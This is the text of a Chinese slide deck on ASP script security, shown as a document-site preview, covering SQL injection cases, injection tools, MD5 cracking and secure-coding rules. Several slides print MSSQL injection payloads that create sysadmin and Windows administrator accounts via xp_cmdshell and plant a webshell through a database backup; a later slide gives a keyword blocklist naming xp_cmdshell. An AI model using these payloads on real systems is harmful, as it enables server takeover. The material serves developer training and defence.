脚本代码安全探讨.ppt_第1页
脚本代码安全探讨.ppt_第2页
脚本代码安全探讨.ppt_第3页
脚本代码安全探讨.ppt_第4页
脚本代码安全探讨.ppt_第5页
免费预览已结束,剩余56页可下载查看

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、脚本代码安全探讨,2,问题的背景,安全编程基础、产生代码问题的原因及 解决办法,脚本代码的安全编写规范,提纲,注入攻击的案例分析与演示、常见工具,开发人员如何自我检查代码的安全情况,3,第一部份,问题背景,4,问题的背景,网络边界有防火墙 系统已经做了加固, 网络通信时采用SSL传输, 还有其它安全设备等, 系统仅仅对外开放了80端口,5,问题背景:SSL,6,问题的背景,但是: 服务器还是被入侵控制 网页被窜改,给公司带来了较坏的影响 那是什么原因引起的呢? 能解决此问题吗?,7,问题的背景,原因分析: 仅仅开放了80端口,那漏洞应该是从这里产生的,可以肯定地确定攻击者是从WEB入手进行攻击

2、的 分析结果: 脚本代码有漏洞而产生的攻击,8,第二部份,注入攻击的案例分析与演示、常见工具,9,注入攻击常见工具与及演示,常见的注入攻击工具: 1、WIS ,WED 这是小榕的作品 2、NBSI 3、HBSI 4、Domain 5、啊D注入工具等,10,1、WIS ,WED,11,2、NBSI,12,4、HBSI,13,3、domin,14,5、阿D注入,15,MD5查找,16,MD5破解,17,第三部分,安全编程基础、代码问题的原因 及解决办法,18,安全编程相关,常见的涉及到安全方面的问题主要是: 1、认证 2、页面的浏览 但最终都会统一到此方面: 数据库的操作,19,认证,set rs

3、=server.createobject(adodb.recordset) sql=select * from admin where password=delete Newsview.asp?id=163;update Newsview.asp?id=163;insert into 等数据库操作,29,页面浏览,如果数据库采用的是MSSQL,那破坏性可能更大: Newsview.asp?id=163; 添加数据库用户与系统管理员 ;exec master.dbo.sp_addlogin username;- ;exec master.dbo.sp_password null,username

4、,password;- ;exec master.dbo.sp_addsrvrolemember sysadmin username;- ;exec master.dbo.xp_cmdshell net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;- ;exec master.dbo.xp_cmdshell net user username password /add;- ;exec master.dbo.xp_cmdshell net

5、 localgroup administrators username /add;-,30,页面浏览,backup创建一个webshell use model create table cmd(str image); insert into cmd(str) values (); backup database model to disk=c:l.asp;,31,第四部分,开发人员如何自我检查代码的安全情况,32,开发人员如何自我检查代码的安全情况,1、注入工具进行扫描 2、手工测试 3、对涉及用户提交处进行认真分析(但是这仅仅是表面,如果是涉及到其中认证逻辑等,那还得深入分析,如SESSIO

6、N在不用时是否清除等),33,第五部份,脚本代码的安全编写规范,34,脚本代码的安全编写规范,我这里大概总结了十点左右: 第一、所有提交到服务器的内容进行安全检查,包括存储到数据库中,配置文件中的等,这时可能要求两次过滤,包括客户端的JS过滤与服务器端的第二次过滤 ,常见的一些要过滤的地方如:登录,搜索,查询等,35,对于过滤,我们可能分为两种情况: 数字型参数的过滤,对于这种情况,我们只要简单的判断所传递的参数是不是数字就可保证安全了,如下: ,36,对于字符串参数的过滤,这相对要复杂一些,我们需要把可能的攻击字符串都要过滤掉,特别是单引号。 我们通常是通过如下实现的: % on error

7、 resume next dim sqlstr,error,num sqlstr=lcase(request.servervariables(query_string) dim sqlkey(27) sql注入相关关键字,37,以下为一些字符 sqlkey(0)= sqlkey(1)=; sqlkey(2)= sqlkey(3)=+ sqlkey(4)=/ sqlkey(5)=( sqlkey(6)=) sqlkey(7)=% sqlkey(8)=- sqlkey(9)=#,38,以下为sql一些关键字 sqlkey(10)=insert sqlkey(11)=update sqlkey(12

8、)=asc sqlkey(13)=char sqlkey(14)=mid sqlkey(15)=left sqlkey(16)=right sqlkey(17)=delete sqlkey(18)=drop sqlkey(19)=truncate sqlkey(20)=select,39,以下为sql一些关键字 sqlkey(10)=insert sqlkey(11)=update sqlkey(12)=asc sqlkey(13)=char sqlkey(14)=mid sqlkey(15)=left sqlkey(16)=right sqlkey(17)=delete sqlkey(18)

9、=drop sqlkey(19)=truncate sqlkey(20)=select,40,以下为MSSQL中一些语句关键字 sqlkey(21)=xp_cmdshell sqlkey(22)=/add sqlkey(23)=exec master.dbo.xp_cmdshell sqlkey(24)=0 x sqlkey(25)=at sqlkey(26)=net sqlkey(27)=and,41,error=false for num=0 to 27 if instr(sqlstr,sqlkey(num) 0 then error = true end if next if error

10、=true then response.write response.write response.write(成都天融信安全服务郑重提醒您,请你注意你的行为,我们对你的所做已做记录!) response.write response.write response.end end if %,42,脚本代码的安全编写规范,第二、所以受到访问控制的页面进行认证控制,如后台,一般建议是采用session认证,并同时在用完后马上进行清除,43,脚本代码的安全编写规范,第三、 涉及到不用恢复的内容,建议采用散列算法进行相应的处理,避免明文存储与简单加密算法,如password,44,脚本代码的安全编写规

11、范,第四、 数据库连接安全,如mssql不要用SA权限的帐户进行连接,最好建立其它帐户进行连接,同时采用ODBC设置数据源的方式,45, option explicit response.buffer=true dim conn dim connstr dim db db=mydb.mdb Set conn = Server.CreateObject(ADODB.Connection) connstr=Provider=Microsoft.Jet.OLEDB.4.0;Data Source= Pwd=amhamh conn.Open connstr %,46,MD5的全称是Message-Di

12、gestAlgorithm 5,在90年代初由MIT的计算机科学实验室和RSA Data Security Inc发明,经MD2、MD3和MD4发展而来 MD5将任意长度的“字节串”变换成一个128bit的大整数,并且它是一个不可逆的字符串变换算法,(也许有人认为既然MD5可以破解,那MD5是可逆的算法了?)换句话说就是,即使你看到源程序和算法描述,也无法将一个MD5的值变换回原始的字符串,从数学原理上说,是因为原始的字符串有无穷多个,这有点象不存在反函数的数学函数,47,一些黑客破获这种密码的方法是一种被称为“跑字典”的方法。有两种方法得到字典,一种是日常搜集的用做密码的字符串表,另一种是用

13、排列组合方法生成的,先用MD5程序计算出这些字典项的MD5值,然后再用目标的MD5值在这个字典中检索。,48,有关初始化向量: 用到4个向量,分别为A、B、C、D,均为32bit长。初始化为: A: 01 23 45 67 B: 89 ab cd ef C: fe dc ba 98 D: 76 54 32 10 我们可以简单的改变这四个向量,当然只改一个就行了,这样就产生了一个MD5算法的变形,那么所有的MD5破解攻击就会宣告失效,即使密码被攻破,攻击者也不能登录后台。,49,脚本代码的安全编写规范,第五、 开发完成后清除网站不需要的临时文件,多余文件等,如.bak,因为这些文件可能存在漏洞,

14、或者可能被下载,从而泄露了相关的机密信息,如源代码泄露,数据库连接密码泄露等。,50,脚本代码的安全编写规范,第六、 如果是下载的或购买的一些网上的系统,那么一定要进行默认设置的更改 , 如:投票系统,动网,动易等。,51,52,脚本代码的安全编写规范,第七、 对于数据库名,表名,列名不要用常见的名字,对于后台管理路径,一定要进行深入隐藏.,53,54,脚本代码的安全编写规范,第八、 对于上传的文件,要严格检查上传的类型,采用的安全策略是默认只允许策略(如只允许rar,bmp,jpg等),55,脚本代码的安全编写规范,第九、 对于后台管理页面,除了登录认证页面外,全部应该加上SESSION认证,以防止非法用户不经认证就操作相关页面进行管理,56,2 then response.write 您没有操作的权限 r

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论